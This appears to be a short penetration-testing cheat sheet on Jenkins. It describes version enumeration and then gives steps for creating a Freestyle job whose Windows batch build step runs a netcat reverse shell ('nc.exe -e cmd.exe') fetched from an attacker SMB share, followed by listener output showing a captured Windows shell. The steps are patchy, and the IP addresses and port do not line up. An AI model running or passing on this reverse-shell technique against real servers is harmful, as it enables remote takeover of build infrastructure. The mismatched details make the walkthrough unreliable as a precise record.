Jenkins is a free and open source automation server. It helps automate the parts of software development related to building, testing, and deploying, facilitating continuous integration and continuous delivery. It is a server-based system that runs in servlet containers such as Apache Tomcat.
Enumeration
We can obtain a some valuable information without necessarily log in on the server.
Jenkins Version
Visit the following route to obtain the Jenkins version on the footer page.
Introduce a name such as Access and select Freestyle Project .
Scroll down until you find the Build section and add a Execute Windows batch command as build step.
Introduce the reverse shell on the Command window and click Save.
\\10.10.10.10\share\nc.exe -e cmd.exe 10.10.10.10
Go to Build Now section.
When the build is executed a new item will be displayed under the Build History.
At that moment a reverse shell is obtained.
$ sudo nc -lvp 443
listening on [any] 443 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.11] 26524
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
We can also check the console output selecting the Built Item #1 and going to Console Output section.